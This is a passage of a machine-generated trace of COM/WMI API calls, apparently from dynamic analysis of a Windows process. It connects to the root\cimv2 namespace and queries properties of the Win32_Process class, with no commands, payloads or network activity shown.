WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0151.184] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0151.184] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0151.184] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0151.185] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0151.185] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0151.185] WbemLocator:IUnknown:Release (This=0x1bc591a0) returned 0x2 [0151.185] WbemLocator:IUnknown:Release (This=0x1bc591a0) returned 0x1 [0151.185] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0151.185] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0151.185] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc591a0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc591a0) returned 0x0 [0151.185] WbemLocator:IUnknown:AddRef (This=0x1bc591a0) returned 0x3 [0151.185] WbemLocator:IUnknown:Release (This=0x1bc591a0) returned 0x2 [0151.185] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95530, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0151.185] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0151.185] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.185] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc58e60) returned 0x0 [0151.185] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc58e60, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1a9e38e0) returned 0x0 [0151.321] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e38e0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa024a0) returned 0x0 [0151.321] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa024a0, pProxy=0x1a9e38e0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0151.321] WbemLocator:IUnknown:Release (This=0x1aa024a0) returned 0x1 [0151.321] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e38e0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa024e0) returned 0x0 [0151.321] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e38e0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa024a0) returned 0x0 [0151.321] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa024a0, pProxy=0x1a9e38e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0151.322] WbemLocator:IUnknown:Release (This=0x1aa024a0) returned 0x2 [0151.322] WbemLocator:IUnknown:Release (This=0x1aa024e0) returned 0x1 [0151.322] CoTaskMemFree (pv=0x1bc6d500) [0151.322] WbemLocator:IUnknown:AddRef (This=0x1a9e38e0) returned 0x2 [0151.322] WbemLocator:IUnknown:Release (This=0x1bc58e60) returned 0x0 [0151.322] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0151.322] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0151.322] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e38e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa024b0) returned 0x0 [0151.323] WbemLocator:IRpcOptions:Query (in: This=0x1aa024b0, pPrx=0x1bc59040, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0151.323] WbemLocator:IUnknown:Release (This=0x1aa024b0) returned 0x2 [0151.323] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0151.323] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0151.323] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e38e0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1a9e38e0) returned 0x0 [0151.323] WbemLocator:IUnknown:Release (This=0x1a9e38e0) returned 0x2 [0151.323] SysStringLen (param_1=0x0) returned 0x0 [0151.323] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95530, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0151.323] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0151.323] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.323] WbemDefPath:IWbemPath:GetText (in: This=0x1bc958f0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0151.323] WbemDefPath:IWbemPath:GetText (in: This=0x1bc958f0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0151.324] IWbemServices:GetObject (in: This=0x1a9e38e0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bb92d10, ppCallResult=0x0) returned 0x0 [0151.327] IWbemClassObject:Get (in: This=0x1bb92d10, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0151.327] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0151.327] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0151.328] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0151.328] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0151.328] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0151.328] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.330] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc58e60) returned 0x0 [0151.330] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58e60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0151.330] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58e60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc95470) returned 0x0 [0151.330] WbemDefPath:IUnknown:Release (This=0x1bc58e60) returned 0x0 [0151.330] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc95470) returned 0x0 [0151.330] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0151.331] WbemDefPath:IUnknown:AddRef (This=0x1bc95470) returned 0x3 [0151.331] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0151.331] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0151.331] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc58fa0) returned 0x0 [0151.331] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58fa0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.331] WbemDefPath:IUnknown:Release (This=0x1bc58fa0) returned 0x3 [0151.331] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0151.331] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0151.331] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0151.331] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x2 [0151.331] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x1 [0151.331] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0151.331] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0151.331] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc95470) returned 0x0 [0151.332] WbemDefPath:IUnknown:AddRef (This=0x1bc95470) returned 0x3 [0151.332] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x2 [0151.332] WbemDefPath:IWbemPath:SetText (This=0x1bc95470, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0151.332] IWbemClassObject:Get (in: This=0x1bb92d10, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0151.332] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0151.332] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0151.332] IWbemClassObject:Get (in: This=0x1bb92d10, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0151.332] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0151.332] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0151.333] IWbemClassObject:Get (in: This=0x1bb92d10, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0151.333] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0151.333] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0151.333] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0151.333] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0151.333] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0151.333] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.335] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc58de0) returned 0x0 [0151.335] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58de0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0151.335] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58de0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc953b0) returned 0x0 [0151.335] WbemDefPath:IUnknown:Release (This=0x1bc58de0) returned 0x0 [0151.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc953b0) returned 0x0 [0151.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0151.336] WbemDefPath:IUnknown:AddRef (This=0x1bc953b0) returned 0x3 [0151.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0151.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0151.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc58e20) returned 0x0 [0151.336] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58e20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.336] WbemDefPath:IUnknown:Release (This=0x1bc58e20) returned 0x3 [0151.336] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0151.336] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0151.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0151.336] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x2 [0151.336] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x1 [0151.337] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0151.337] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0151.337] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc953b0) returned 0x0 [0151.337] WbemDefPath:IUnknown:AddRef (This=0x1bc953b0) returned 0x3 [0151.337] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x2 [0151.337] WbemDefPath:IWbemPath:SetText (This=0x1bc953b0, uMode=0x4, pszPath="") returned 0x0 [0151.337] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0151.337] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0151.337] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0151.337] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.339] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc58de0) returned 0x0 [0151.339] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58de0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0151.339] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58de0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc952f0) returned 0x0 [0151.339] WbemDefPath:IUnknown:Release (This=0x1bc58de0) returned 0x0 [0151.339] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc952f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 